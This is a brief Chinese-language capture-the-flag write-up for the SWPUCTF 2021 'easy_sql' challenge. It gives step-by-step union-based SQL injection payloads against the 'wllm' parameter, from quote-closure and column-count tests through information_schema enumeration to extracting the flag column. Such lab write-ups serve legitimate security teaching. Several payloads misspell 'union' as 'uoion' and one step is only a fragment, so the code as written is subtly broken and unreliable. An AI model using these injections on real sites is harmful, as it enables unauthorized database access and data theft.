[SWPUCTF 2021 新生赛]easy_sql

1.看标题参数为wllm，输入？wllm=1

2.判断类型，输入?wllm=1' and 1=2 -- a,页面异常，1=1页面正常，为单引号闭合

3.判断字段，输入?wllm=1' order by 1 -- a,输到4时页面异常，有3个字段

4.判断显示位，输入?wllm=1' uoion select 1,2,3-- a

5.查库名输入?wllm=1' uoion select 1,database(),3-- a

6.查表名，输入?wllm=1' uoion select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='test_db' -- a

7.输入group_concat(column_name) from information_schema.columns where table_name='test_tb'查看内容发现flag

8.输入group_concat(id,flag)from test_tb查询flag

9.成功